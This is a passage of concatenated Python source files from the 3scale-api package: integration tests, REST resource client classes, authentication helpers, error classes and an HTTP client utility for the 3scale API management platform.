backend_usage, updated_backend_mapping_rules_params, apicast_http_client): resource = backend.mapping_rules.create(updated_backend_mapping_rules_params) pattern = '/get/anything/test-foo' resource['pattern'] = pattern resource.update() updated_resource = resource.read() assert updated_resource['pattern'] == pattern service.proxy.deploy() response = apicast_http_client.get(path=pattern) asserts.assert_http_ok(response) def test_should_delete_mapping_rule(backend, updated_backend_mapping_rules_params): resource = backend.mapping_rules.create(params=updated_backend_mapping_rules_params) assert resource.exists() resource.delete() assert not resource.exists() def test_stop_processing_mapping_rules_once_first_one_is_met(service, backend_usage, backend, updated_backend_mapping_rules_params, apicast_http_client): params_first = updated_backend_mapping_rules_params.copy() params_first['pattern'] = '/get/anything/search' resource_first = backend.mapping_rules.create(params=params_first) assert resource_first.exists() params_second = updated_backend_mapping_rules_params.copy() params_second['pattern'] = '/get/anything/{id}' resource_second = backend.mapping_rules.create(params=params_second) assert resource_second.exists() service.proxy.deploy() response = apicast_http_client.get(path=params_first['pattern']) asserts.assert_http_ok(response) assert params_first['pattern'] in response.url
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_backend_mapping_rules.py
test_integration_backend_mapping_rules.py
import pytest from threescale_api.resources import ApplicationPlan, Limits @pytest.fixture() def limit_client(application_plan, metric) -> Limits: return application_plan.limits(metric) @pytest.fixture() def limits(metric, application_plan: ApplicationPlan): params = dict(period='minute', value=10) application_plan.limits(metric).create(params) return application_plan.limits(metric).list() def test_create_limit(limits): assert limits is not None limit = limits[0] assert limit['period'] == 'minute' assert limit['value'] == 10
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_limit.py
test_integration_limit.py
import pytest @pytest.fixture(scope="module") def service_params(service_params): service_params.update(backend_version="1") return service_params def test_user_key(proxy, apicast_http_client): assert apicast_http_client.get("/get").status_code == 200
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/auth/test_user_key.py
test_user_key.py
import pytest @pytest.fixture(scope="module") def service_params(service_params): service_params.update(backend_version="2") return service_params @pytest.fixture(scope="module") def proxy(service, proxy): service.proxy.update(params={ "auth_app_key": "akey", "auth_app_id": "aid", }) def test_different_user_key(proxy, application, ssl_verify): client = application.api_client(verify=ssl_verify) response = client.get("/get") assert response.status_code == 200 assert "akey" in response.request.url assert "aid" in response.request.url
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/auth/test_different_app_key_name.py
test_different_app_key_name.py
import pytest @pytest.fixture(scope="module") def service_params(service_params): service_params.update(backend_version="2") return service_params def test_user_key(proxy, apicast_http_client): assert apicast_http_client.get("/get").status_code == 200
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/auth/test_app_key.py
test_app_key.py
import pytest @pytest.fixture(scope="module") def proxy(service, proxy): service.proxy.update(params={"auth_user_key": "ukey"}) def test_different_user_key(proxy, application, ssl_verify): client = application.api_client(verify=ssl_verify) response = client.get("/get") assert response.status_code == 200 assert "ukey" in response.request.url
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/auth/test_different_user_key_name.py
test_different_user_key_name.py
import base64 import pytest @pytest.fixture(scope="module") def service_params(service_params): service_params.update(backend_version="2") return service_params @pytest.fixture(scope="module") def proxy(service, proxy): service.proxy.update(params={ "credentials_location": "authorization" }) def test_app_key_authorization(proxy, application, ssl_verify): creds = application.authobj().credentials encoded = base64.b64encode( f"{creds['app_id']}:{creds['app_key']}".encode("utf-8")).decode("utf-8") response = application.test_request(verify=ssl_verify) assert response.status_code == 200 assert response.request.headers["Authorization"] == "Basic %s" % encoded
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/auth/test_app_key_authorization.py
test_app_key_authorization.py
import logging from logging.config import dictConfig def _to_log_level_map(log_map: dict) -> dict: result = {} for level, arr in log_map.items(): for item in arr: result[item] = level return result _LOG_LEVEL_MAP_DEFINITION = { logging.CRITICAL: ['critical', 'c', 'crit'], logging.ERROR: ['error', 'e', 'err'], logging.WARNING: ['warning', 'w', 'warn'], logging.INFO: ['info', 'i', 'inf'], logging.DEBUG: ['debug', 'd', 'dbg'], logging.NOTSET: ['notset', 'n', 'nst'], } LOG_LEVEL_MAP = _to_log_level_map(_LOG_LEVEL_MAP_DEFINITION) def to_log_level(level: str, default=logging.NOTSET) -> int: if isinstance(level, int): return level if level is not None: return LOG_LEVEL_MAP.get(level.lower(), default) return default def load_config(level: str = "INFO", handler_level=None, api_level=None, tests_level=None): config = dict( version=1, formatters={ 'verbose': { 'format': '%(asctime)s %(name)-12s %(levelname)-8s %(message)s' } }, handlers={ 'console': { 'class': 'logging.StreamHandler', 'formatter': 'verbose', 'level': to_log_level(handler_level, default=level) } }, loggers={ 'threescale_api': { 'handlers': ['console'], 'level': to_log_level(api_level, default=level) }, 'tests': { 'handlers': ['console'], 'level': to_log_level(handler_level, default=level) } }, ) dictConfig(config)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/log_config.py
log_config.py
import logging from typing import Dict, List, Optional, TYPE_CHECKING, Union, Any, Iterator import collections.abc import requests from threescale_api import utils if TYPE_CHECKING: from threescale_api.client import ThreeScaleClient, RestApiClient log = logging.getLogger(__name__) class DefaultClient(collections.abc.Mapping): def __init__(self, parent=None, instance_klass=None, entity_name: str = None, entity_collection: str = None): """Creates instance of the default client Args: parent: Parent resource or client instance_klass: Which class should be used to instantiate the resource entity_name(str): Entity name - required for extraction entity_collection(str): Collection name - required for extraction """ self.parent = parent self._instance_klass = instance_klass self._entity_name = entity_name if entity_collection is None and entity_name is not None: entity_collection = f'{entity_name}s' self._entity_collection = entity_collection @property def url(self) -> str: """Default url for the resources collection Returns(str): URL """ return self.threescale_client.admin_api_url @property def threescale_client(self) -> 'ThreeScaleClient': """Gets instance of the 3scale default client Returns(TheeScaleClient): 3scale client """ return self.parent.threescale_client @property def rest(self) -> 'RestApiClient': """Rest API client for the 3scale instance Returns(RestApiClient): """ return self.threescale_client.rest def list(self, **kwargs) -> List['DefaultResource']: """List all entities Args: **kwargs: Optional parameters Returns(List['DefaultResource]): List of resources """ log.info(self._log_message("[LIST] List", args=kwargs)) instance = self._list(**kwargs) return instance def create(self, params: dict = None, **kwargs) -> 'DefaultResource': """Create a new instance Args: params: Parameters required to create new instance **kwargs: Optional parameters Returns: """ log.info(self._log_message("[CREATE] Create new ", body=params, args=kwargs)) url = self._entity_url() response = self.rest.post(url=url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def delete(self, entity_id: int = None, **kwargs) -> bool: """Delete resource Args: entity_id(int): Entity id **kwargs: Optional args Returns(bool): True if the resource has been successfully deleted """ log.info(self._log_message("[DELETE] Delete ", entity_id=entity_id, args=kwargs)) url = self._entity_url(entity_id=entity_id) response = self.rest.delete(url=url, **kwargs) return response.ok def exists(self, entity_id=None, throws=False, **kwargs) -> bool: """Check whether the resource exists Args: entity_id(int): Entity id **kwargs: Optional args Returns(bool): True if the resource exists """ log.info(self._log_message("[EXIST] Resource exist ", entity_id=entity_id, args=kwargs)) url = self._entity_url(entity_id=entity_id) response = self.rest.get(url=url, throws=throws, **kwargs) return response.ok def update(self, entity_id=None, params: dict = None, **kwargs) -> 'DefaultResource': """Update resource Args: entity_id(int): Entity id params(dict): Params to be updated **kwargs: Optional args Returns(DefaultResource): Resource instance """ log.info(self._log_message("[UPDATE] Update ", body=params, entity_id=entity_id, args=kwargs)) url = self._entity_url(entity_id=entity_id) response = self.rest.put(url=url, json=params, **kwargs) instance = self._create_instance(response=response) return instance def fetch(self, entity_id: int = None, **kwargs) -> dict: """Fetch the entity dictionary Args: entity_id(int): Entity id **kwargs: Optional args Returns(dict): Resource dict from the 3scale """ log.debug(self._log_message("[FETCH] Fetch ", entity_id=entity_id, args=kwargs)) url = self._entity_url(entity_id=entity_id) response = self.rest.get(url=url, **kwargs) return utils.extract_response(response=response, entity=self._entity_name) def __getitem__(self, selector: Union[int, 'str']) -> 'DefaultResource': """Gets the item Args: selector(Union[int, 'str']): Selector whether id or string Returns(DefaultResource): Resource instance """ if isinstance(selector, int): return self.read(selector) return self.read_by_name(selector) def __len__(self) -> int: return len(self._list()) def __iter__(self) -> Iterator['DefaultResource']: return next(iter(self._list())) def read(self, entity_id: int = None) -> 'DefaultResource': """Read the instance, read will just create empty resource and lazyloads only if needed Args: entity_id(int): Entity id Returns(DefaultResource): Default resource """ log.debug(self._log_message("[READ] Read ", entity_id=entity_id)) return self._instance_klass(client=self, entity_id=entity_id) def read_by_name(self, name: str, **kwargs) -> 'DefaultResource': """Read resource by name Args: name: Name of the resource (either system name, name, org_name ...) **kwargs: Returns: """ for item in self._list(**kwargs): if item.entity_name and item.entity_name == name: return item def select(self, predicate, **kwargs) -> List['DefaultResource']: """Select resource s based on the predicate Args: predicate: Predicate **kwargs: Optional args Returns: List of resources """ return [item for item in self._list(**kwargs) if predicate(item)] def select_by(self, **params) -> List['DefaultResource']: """Select by params - logical and Usage example: select_by(role='admin') Args: **params: params used for selection Returns: List of resources """ log.debug("[SELECT] By params: %s", params) def predicate(item): for (key, val) in params.items(): if item[key] != val: return False return True return self.select(predicate=predicate) def read_by(self, **params) -> 'DefaultResource': """Read by params - it will return just one instance of the resource Args: **params: params used for selection Returns(DefaultResource): Resource instance """ result = self.select_by(**params) return result[0] if result else None def _log_message(self, message, entity_id=None, body=None, args=None) -> str: msg = f"{message} {self._instance_klass.__name__}" if entity_id: msg += f"({entity_id}))" if body: msg += f" {body}" if args: msg += f" args={args}" return msg def _list(self, **kwargs) -> List['DefaultResource']: """Internal list implementation used in list or `select` methods Args: **kwargs: Optional parameters Returns(List['DefaultResource']): """ url = self._entity_url() response = self.rest.get(url=url, **kwargs) instance = self._create_instance(response=response, collection=True) return instance def _entity_url(self, entity_id=None) -> str: if not entity_id: return self.url return self.url + '/' + str(entity_id) def _create_instance(self, response: requests.Response, klass=None, collection: bool = False): klass = klass or self._instance_klass extracted = self._extract_resource(response, collection) instance = self._instantiate(extracted=extracted, klass=klass) log.debug("[INSTANCE] Created instance: %s", instance) return instance def _extract_resource(self, response, collection) -> Union[List, Dict]: extract_params = dict(response=response, entity=self._entity_name) if collection: extract_params['collection'] = self._entity_collection extracted = utils.extract_response(**extract_params) return extracted def _instantiate(self, extracted, klass): if isinstance(extracted, list): instance = [self.__make_instance(item, klass) for item in extracted] return instance return self.__make_instance(extracted, klass) def __make_instance(self, extracted: dict, klass): instance = klass(client=self, entity=extracted) if klass else extracted return instance class DefaultResource(collections.abc.MutableMapping): def __init__(self, client: DefaultClient = None, entity_id: int = None, entity_name: str = None, entity: dict = None): """Create instance of the resource Args: client: Client instance of the resource entity_id(int): Entity id entity_name(str): Entity name field (system_name or name ...) entity(dict): Entity instance """ self._entity_id = entity_id or entity.get('id') self._entity = entity self._client = client self._entity_name = entity_name @property def threescale_client(self) -> 'ThreeScaleClient': return self.client.threescale_client @property def parent(self) -> 'DefaultResource': return self.client.parent @parent.setter def parent(self, parent): self.client.parent = parent @property def entity_name(self) -> Optional[str]: return self[self._entity_name] @property def url(self) -> str: return self.client.url + f"/{self.entity_id}" @property def entity(self) -> dict: self._lazy_load() return self._entity @property def client(self) -> DefaultClient: return self._client @property def entity_id(self) -> int: return self._entity_id or self._entity.get('id') @entity_id.setter def entity_id(self, value): self._entity_id = value def __getitem__(self, item: str): return self.entity.get(item) def __setitem__(self, key: str, value): self.set(key, value) def __delitem__(self, key: str): del self.entity[key] def __len__(self) -> int: return len(self.entity) def __iter__(self) -> Iterator: return iter(self.entity) def __str__(self) -> str: return self.__class__.__name__ + f"({self.entity_id}): " + str(self.entity) def __repr__(self) -> str: return str(self) def __eq__(self, other) -> bool: return ( self.__class__ == other.__class__ and self.entity_name == other.entity_name and self.entity_id == other.entity_id ) def get(self, item): return self.entity.get(item) def set(self, item: str, value: Any): self.entity[item] = value def _lazy_load(self, **kwargs) -> 'DefaultResource': if self._entity is None: # Lazy load the entity fetched = self.fetch(**kwargs) if isinstance(fetched, dict): self._entity = fetched elif fetched is not None: self._entity = fetched._entity else: return None return self def read(self, **kwargs) -> 'DefaultResource': self._invalidate() self._lazy_load(**kwargs) return self def fetch(self, **kwargs) -> dict: return self.client.fetch(self.entity_id, **kwargs) def exists(self, **kwargs) -> bool: return self.client.exists(entity_id=self.entity_id, **kwargs) def delete(self, **kwargs): self.client.delete(entity_id=self.entity_id, resource=self, **kwargs) def update(self, params: dict = None, **kwargs) -> 'DefaultResource': new_params = {**self.entity} if params: new_params.update(params) new_entity = self.client.update(entity_id=self.entity_id, params=new_params, resource=self, **kwargs) self._entity = new_entity.entity return self def _invalidate(self): self._entity = None class DefaultPaginationClient(DefaultClient): """ Client to handle API endpoints with pagination. List of endpoints supporting pagination with per_page size: - accounts 500 limits per app plan 50 - not implemented in client application list for all services 500 - not implemented in client - backend mapping rules 500 - backend method list 500 - backend metric 500 - backend 500 - service 500 invoice list by account 20 - not implemented by standard "list" method - invoice list 20 - all cms 100 """ def __init__(self, *args, per_page=500, **kwargs): self.per_page = per_page super().__init__(*args, **kwargs) def _list(self, **kwargs): """ List all objects via paginated API endpoint """ kwargs = kwargs.copy() kwargs.setdefault("params", {}) if "page" in kwargs["params"] or self.per_page is None: return super()._list(**kwargs) pagenum = 1 kwargs["params"]["page"] = pagenum kwargs["params"]["per_page"] = self.per_page page = super()._list(**kwargs) ret_list = page while len(page): pagenum += 1 kwargs["params"]["page"] = pagenum page = super()._list(**kwargs) ret_list += page return ret_list def __iter__(self): return self._list() class DefaultPlanClient(DefaultClient): def set_default(self, entity_id: int, **kwargs) -> 'DefaultPlanResource': """Sets default plan for the entity Args: entity_id: Entity id **kwargs: Optional args Returns(DefaultPlanResource): """ log.info(self._log_message("[PLAN] Set default ", entity_id=entity_id, args=kwargs)) url = self._entity_url(entity_id) + '/default' response = self.rest.put(url=url, **kwargs) instance = self._create_instance(response=response) return instance def get_default(self, **kwargs) -> Optional['DefaultResource']: """Get default plan if set Args: **kwargs: Optional arguments Returns(DefaultResource): Resource instance """ default = self.select(lambda x: x.is_default, **kwargs) if default: return default[0] return None class DefaultPlanResource(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) def set_default(self, **kwargs) -> 'DefaultStateResource': """Set the plan default Args: **kwargs: Optional args Returns(DefaultStateResource): State resource instance """ return self.client.set_default(entity_id=self.entity_id, **kwargs) @property def is_default(self) -> bool: return self['default'] is True class DefaultStateClient(DefaultPaginationClient): def set_state(self, entity_id, state: str, **kwargs): """Sets the state for the resource Args: entity_id(int): Entity id state(str): Which state **kwargs: Optional args Returns(DefaultStateResource): State resource instance """ log.info(self._log_message("[STATE] Set state ", body=f"[{state}]", args=kwargs)) url = self._entity_url(entity_id) + '/' + state response = self.rest.put(url=url, **kwargs) instance = self._create_instance(response=response) return instance class DefaultStateResource(DefaultResource): def set_state(self, state: str, **kwargs) -> 'DefaultStateResource': """Sets the state for the resource Args: state(str): Which state **kwargs: Optional args Returns(DefaultStateResource): State resource instance """ return self.client.set_state(entity_id=self.entity_id, state=state, **kwargs) class DefaultUserResource(DefaultStateResource): def __init__(self, entity_name='username', **kwargs): super().__init__(entity_name=entity_name, **kwargs) def suspend(self, **kwargs) -> 'DefaultUserResource': """Suspends the user Args: **kwargs: Optional arguments Returns(DefaultUserResource): User instance """ return self.set_state(state='suspend', **kwargs) def resume(self, **kwargs): """Resumes the user Args: **kwargs: Optional arguments Returns(DefaultUserResource): User instance """ return self.set_state(state='resume', **kwargs) def activate(self, **kwargs): """Activates the user Args: **kwargs: Optional arguments Returns(DefaultUserResource): User instance """ return self.set_state(state='activate', **kwargs) def set_as_admin(self, **kwargs): """Promotes the user to admin Args: **kwargs: Optional arguments Returns(DefaultUserResource): User instance """ return self.set_state(state='set_as_admin', **kwargs) def set_as_member(self, **kwargs): """Demotes the user to s member Args: **kwargs: Optional arguments Returns(DefaultUserResource): User instance """ return self.set_state(state='set_as_member', **kwargs)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/defaults.py
defaults.py
import logging import time from urllib.parse import urljoin import backoff import requests from threescale_api import errors, resources log = logging.getLogger(__name__) class ThreeScaleClient: def __init__(self, url: str, token: str, throws: bool = True, ssl_verify: bool = True, wait: int = -1): """Creates instance of the 3scale client Args: url: 3scale instance url token: Access token throws: Whether it should throw an error ssl_verify: Whether to verify ssl wait: Whether to wait for 3scale availability, negative number == no waiting positive number == wait another extra seconds """ self._rest = RestApiClient(url=url, token=token, throws=throws, ssl_verify=ssl_verify) self._services = resources.Services(self, instance_klass=resources.Service) self._accounts = resources.Accounts(self, instance_klass=resources.Account) self._provider_accounts = \ resources.ProviderAccounts(self, instance_klass=resources.ProviderAccount) self._provider_account_users = \ resources.ProviderAccountUsers(self, instance_klass=resources.ProviderAccountUser) self._methods = resources.Methods(self, instance_klass=resources.Method) self._metrics = resources.Metrics(self, instance_klass=resources.Metric) self._analytics = resources.Analytics(self) self._tenants = resources.Tenants(self, instance_klass=resources.Tenant) self._providers = resources.Providers(self, instance_klass=resources.Provider) self._access_tokens = \ resources.AccessTokens(self, instance_klass=resources.AccessToken) self._active_docs = resources.ActiveDocs(self, instance_klass=resources.ActiveDoc) self._account_plans = resources.AccountPlans(self, instance_klass=resources.AccountPlan) self._settings = resources.SettingsClient(self) self._admin_portal_auth_providers = resources.AdminPortalAuthProviders( self, instance_klass=resources.AdminPortalAuthProvider) self._dev_portal_auth_providers = resources.DevPortalAuthProviders( self, instance_klass=resources.DevPortalAuthProvider) self._policy_registry = resources.PoliciesRegistry(self, instance_klass=resources.PolicyRegistry) self._backends = resources.Backends(self, instance_klass=resources.Backend) self._webhooks = resources.Webhooks(self) self._invoices = resources.Invoices(self, instance_klass=resources.Invoice) self._fields_definitions =\ resources.FieldsDefinitions(self, instance_klass=resources.FieldsDefinition) self._cms_files = resources.CmsFiles(self, instance_klass=resources.CmsFile) self._cms_sections = resources.CmsSections(self, instance_klass=resources.CmsSection) self._cms_pages = resources.CmsPages(self, instance_klass=resources.CmsPage) self._cms_builtin_pages = resources.CmsBuiltinPages(self, instance_klass=resources.CmsPage) self._cms_layouts = resources.CmsLayouts(self, instance_klass=resources.CmsLayout) self._cms_builtin_partials =\ resources.CmsBuiltinPartials(self, instance_klass=resources.CmsPartial) self._cms_partials = resources.CmsPartials(self, instance_klass=resources.CmsPartial) if wait >= 0: self.wait_for_tenant() # TODO: all the implemented checks aren't enough yet # 3scale can still return 404/409 error, therefore slight artificial sleep # here to mitigate the problem. This requires proper fix in checks time.sleep(wait) @backoff.on_predicate( backoff.constant, lambda ready: not ready, interval=6, max_tries=90, jitter=None) def wait_for_tenant(self) -> bool: """ When True is returned, there is some chance the tenant is actually ready. """ # TODO: checks below were collected from various sources to craft # ultimate readiness check. There might be duplicates though, so # worth to review it one day try: return self.account_plans.exists(throws=True) \ and len(self.account_plans.fetch()["plans"]) >= 1 \ and len(self.account_plans.list()) >= 1 \ and self.accounts.exists(throws=True) \ and len(self.accounts.list()) >= 1 \ and self.services.exists(throws=True) \ and len(self.services.list()) >= 1 except errors.ApiClientError as err: if err.code in (404, 409, 503): log.info("wait_for_tenant failed: %s", err) return False raise err except Exception as err: log.info("wait_for_tenant failed: %s", err) return False @property def rest(self) -> 'RestApiClient': """Get REST api client instance Returns(RestApiClient): Rest api client instance """ return self._rest @property def parent(self) -> 'ThreeScaleClient': """Parent is self - the 3scale client Returns(ThreeScaleClient): """ return self @property def threescale_client(self) -> 'ThreeScaleClient': """3scale client instance Returns(ThreeScaleClient): 3scale client instance """ return self @property def url(self) -> str: """Get tenant url Returns(str): URL """ return self._rest.url @property def url_with_token(self) -> str: return self.rest.url.replace('//', f"//{self.rest._token}@") @property def token(self) -> str: return self.rest._token @property def admin_api_url(self) -> str: """Get admin API url Returns(str): URL of the 3scale admin api """ return self.url + "/admin/api" @property def master_api_url(self) -> str: """Get master API url Returns(str): URL of the 3scale master api """ return self.url + "/master/api" @property def services(self) -> resources.Services: """Gets services client Returns(resources.Services): Services client """ return self._services @property def accounts(self) -> resources.Accounts: """Gets accounts client Returns(resources.Accounts): Accounts client """ return self._accounts @property def provider_accounts(self) -> resources.ProviderAccounts: """Gets provider accounts client Returns(resources.ProviderAccouts): Provider Accounts client""" return self._provider_accounts @property def provider_account_users(self) -> resources.ProviderAccountUsers: """Gets provider account users client Returns(resources.ProviderAccountUsers): Provider Accounts User client """ return self._provider_account_users @property def account_plans(self) -> resources.AccountPlans: """Gets accounts client Returns(resources.AccountPlans): Account plans client """ return self._account_plans @property def methods(self) -> resources.Methods: """Gets methods client Returns(resources.Methods): Methods client """ return self._methods @property def metrics(self) -> resources.Metrics: """Gets metrics client Returns(resources.Metrics): Metrics client """ return self._metrics @property def analytics(self): """Gets analytics data client Returns(resources.Analytics): Analytics client """ return self._analytics @property def providers(self) -> resources.Providers: """Gets providers client Returns(resources.Providers): Providers client """ return self._providers @property def access_tokens(self) -> resources.AccessTokens: """Gets AccessTokens client Returns(resources.AccessToken): AccessTokens client """ return self._access_tokens @property def tenants(self) -> resources.Tenants: """Gets tenants client Returns(resources.Tenants): Tenants client """ return self._tenants @property def active_docs(self) -> resources.ActiveDocs: """Gets active docs client Returns(resources.ActiveDocs): Active docs client """ return self._active_docs @property def settings(self) -> resources.SettingsClient: """Gets settings client Returns(resources.SettingsClient): Active docs client """ return self._settings @property def backends(self) -> resources.Backends: """Gets backends client Returns(resources.Backends): Backends client """ return self._backends @property def dev_portal_auth_providers(self) -> resources.DevPortalAuthProviders: return self._dev_portal_auth_providers @property def admin_portal_auth_providers(self) -> resources.AdminPortalAuthProviders: return self._admin_portal_auth_providers @property def policy_registry(self) -> resources.PolicyRegistry: return self._policy_registry @property def webhooks(self) -> resources.Webhooks: return self._webhooks @property def invoices(self) -> resources.Invoices: return self._invoices @property def fields_definitions(self) -> resources.FieldsDefinitions: return self._fields_definitions @property def cms_files(self) -> resources.CmsFiles: return self._cms_files @property def cms_sections(self) -> resources.CmsSections: return self._cms_sections @property def cms_pages(self) -> resources.CmsPages: return self._cms_pages @property def cms_builtin_pages(self) -> resources.CmsBuiltinPages: return self._cms_builtin_pages @property def cms_layouts(self) -> resources.CmsLayouts: return self._cms_layouts @property def cms_partials(self) -> resources.CmsPartials: return self._cms_partials @property def cms_builtin_partials(self) -> resources.CmsBuiltinPartials: return self._cms_builtin_partials class RestApiClient: def __init__(self, url: str, token: str, throws: bool = True, ssl_verify: bool = True): """Creates instance of the Rest API client Args: url(str): Tenant url token(str): Tenant provider token throws(bool): Whether to throw exception ssl_verify(bool): Whether to verify the ssl certificate """ self._url = url self._token = token self._throws = throws self._ssl_verify = ssl_verify log.debug("[REST] New instance: %s token=%s throws=%s ssl=%s", url, token, throws, ssl_verify) @property def url(self) -> str: return self._url def request(self, method='GET', url=None, path='', params: dict = None, headers: dict = None, throws=None, **kwargs): """Create new request Args: method(str): method to be used to create an request url(str): url to be used to create new request path(str): path to be accessed - if url is not provided params(dict): Query parameters headers(dict): Headers parameters throws(bool): Whether to throw **kwargs: Optional args added to request Returns: """ if 'resource' in kwargs: del kwargs['resource'] full_url = url if url else urljoin(self.url, path) full_url = full_url + ".json" headers = headers or {} params = params or {} if throws is None: throws = self._throws params.update(access_token=self._token) log.debug("[%s] (%s) params={%s} headers={%s} %s", method, full_url, params, headers, kwargs if kwargs else '') response = requests.request(method=method, url=full_url, headers=headers, params=params, verify=self._ssl_verify, **kwargs) process_response = self._process_response(response, throws=throws) return process_response def get(self, *args, **kwargs): return self.request('GET', *args, **kwargs) def post(self, *args, **kwargs): return self.request('POST', *args, **kwargs) def put(self, *args, **kwargs): return self.request('PUT', *args, **kwargs) def delete(self, *args, **kwargs): return self.request('DELETE', *args, **kwargs) def patch(self, *args, **kwargs): return self.request('PATCH', *args, **kwargs) @classmethod def _process_response(cls, response: requests.Response, throws=None) -> requests.Response: message = f"[RES] Response({response.status_code}): {response.content}" if response.ok: log.debug(message) else: log.error(message) if throws: raise errors.ApiClientError(response.status_code, response.reason, response.content) return response
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/client.py
client.py
# pylint: disable=R0903 """Implementation of custom 3scale specific authentication method(s) for requests (api clients""" import requests import requests.auth class BaseClientAuth(requests.auth.AuthBase): """Abstract class for authentication of api client""" def __init__(self, app, location=None): self.app = app self.location = location self.credentials = {} if location is None: self.location = app.service.proxy.list().entity["credentials_location"] def __call__(self, request): credentials = self.credentials if self.location == "authorization": credentials = credentials.values() auth = requests.auth.HTTPBasicAuth(*credentials) return auth(request) if self.location == "headers": request.prepare_headers(credentials) elif self.location == "query": request.prepare_url(request.url, credentials) else: raise ValueError(f"Unknown credentials location '{self.location}'") return request class UserKeyAuth(BaseClientAuth): """Provides user_key authentication for api client calls""" def __init__(self, app, location=None): super().__init__(app, location) self.credentials = { self.app.service.proxy.list()["auth_user_key"]: self.app["user_key"] } def __call__(self, request): if self.location == "authorization": auth = requests.auth.HTTPBasicAuth(next(iter(self.credentials.values())), "") return auth(request) return super().__call__(request) class AppIdKeyAuth(BaseClientAuth): """Provides app_id/app_key pair based authentication for api client calls""" def __init__(self, app, location=None): super().__init__(app, location) proxy = self.app.service.proxy.list() self.credentials = { proxy["auth_app_id"]: self.app["application_id"], proxy["auth_app_key"]: self.app.keys.list()["keys"][0]["key"]["value"] } def __call__(self, request): return super().__call__(request)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/auth.py
auth.py
class ThreeScaleApiError(Exception): def __init__(self, message, *args): self.message = message super().__init__(message, *args) class ApiClientError(ThreeScaleApiError): def __init__(self, code, reason, body, message: str = None): self.code = code self.reason = reason self.body = body self._message = message msg = f"Response({self.code} {reason}): {body}" if message: msg += f"; {message}" super().__init__(msg)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/errors.py
errors.py
import logging import shlex from typing import Union, Iterable from urllib.parse import urljoin import requests from requests.adapters import HTTPAdapter from urllib3.util import Retry logger = logging.getLogger(__name__) def extract_response(response: requests.Response, entity: str = None, collection: str = None) -> Union[dict, list]: """Extract the response from the response Args: response(requests.Response): Response entity(str): entity name to be extracted collection(str): collection name to be extracted Returns(Union[dict, list]): Extracted entity or list of entities """ extracted: dict = response.json() if collection and collection in extracted: extracted = extracted.get(collection) if isinstance(extracted, list): return [value.get(entity) for value in extracted] if entity in extracted.keys(): return extracted.get(entity) return extracted class HttpClient: """3scale specific!!! HTTP Client This provides client to easily run api calls against provided service. Due to some delays in the infrastructure the client is configured to retry calls under certain conditions. To modify this behavior customized session has to be passed. session has to be fully configured in such case (e.g. including authentication" :param app: Application for which client should do the calls :param endpoint: either 'sandbox_endpoint' (staging) or 'endpoint' (production), defaults to sandbox_endpoint :param verify: SSL verification :param cert: path to certificate :param disable_retry_status_list: Iterable collection of status code that should not be retried by requests """ def __init__(self, app, endpoint: str = "sandbox_endpoint", verify: bool = None, cert=None, disable_retry_status_list: Iterable = ()): self._app = app self._endpoint = endpoint self.verify = verify if verify is not None else app.api_client_verify self.cert = cert self._status_forcelist = {503, 404} - set(disable_retry_status_list) self.auth = app.authobj() self.session = self._create_session() logger.debug("[HTTP CLIENT] New instance: %s", self._base_url) def close(self): """Close requests session""" self.session.close() @staticmethod def retry_for_session(session: requests.Session, status_forcelist: Iterable, total: int = 8): retry = Retry( total=total, backoff_factor=1, status_forcelist=status_forcelist, raise_on_status=False, respect_retry_after_header=False ) adapter = HTTPAdapter(max_retries=retry) session.mount("https://", adapter) session.mount("http://", adapter) @property def _base_url(self) -> str: """Determine right url at runtime""" return self._app.service.proxy.fetch()[self._endpoint] def _create_session(self): """Creates session""" session = requests.Session() self.retry_for_session(session, self._status_forcelist) return session def extend_connection_pool(self, maxsize: int): """Extend connection pool""" self.session.adapters["https://"].poolmanager.connection_pool_kw["maxsize"] = maxsize self.session.adapters["https://"].poolmanager.clear() def request(self, method, path, params=None, data=None, headers=None, cookies=None, files=None, auth=None, timeout=None, allow_redirects=True, proxies=None, hooks=None, stream=None, json=None) -> requests.Response: """mimics requests interface""" url = urljoin(self._base_url, path) session = self.session session.auth = auth or self.auth req = requests.Request( method=method.upper(), url=url, headers=headers, files=files, data=data or {}, json=json, params=params or {}, auth=auth, cookies=cookies, hooks=hooks, ) prep = session.prepare_request(req) logger.info("[CLIENT]: %s", request2curl(prep)) send_kwargs = { "timeout": timeout, "allow_redirects": allow_redirects } proxies = proxies or {} send_kwargs.update( session.merge_environment_settings(prep.url, proxies, stream, self.verify, self.cert)) response = session.send(prep, **send_kwargs) logger.info("\n".join(["[CLIENT]:", response2str(response)])) return response def get(self, *args, **kwargs) -> requests.Response: """mimics requests interface""" return self.request('GET', *args, **kwargs) def post(self, *args, **kwargs) -> requests.Response: """mimics requests interface""" return self.request('POST', *args, **kwargs) def patch(self, *args, **kwargs) -> requests.Response: """mimics requests interface""" return self.request('PATCH', *args, **kwargs) def put(self, *args, **kwargs) -> requests.Response: """mimics requests interface""" return self.request('PUT', *args, **kwargs) def delete(self, *args, **kwargs) -> requests.Response: """mimics requests interface""" return self.request('DELETE', *args, **kwargs) def request2curl(request: requests.PreparedRequest) -> str: """Create curl command corresponding to given request""" # pylint: disable=consider-using-f-string cmd = ["curl", "-X %s" % shlex.quote(request.method)] if request.headers: # pylint: disable=consider-using-f-string cmd.extend([ "-H %s" % shlex.quote(f"{key}: {value}") for key, value in request.headers.items()]) if request.body: body = request.body if isinstance(body, bytes): body = body.decode("utf-8") if len(body) > 160: body = body[:160] + "..." # pylint: disable=consider-using-f-string cmd.append("-d %s" % shlex.quote(body)) cmd.append(shlex.quote(request.url)) return " ".join(cmd) def response2str(response: requests.Response): """Return string representation of requests.Response""" # Let's cheat with protocol, hopefully no-one will ever notice this ;) msg = 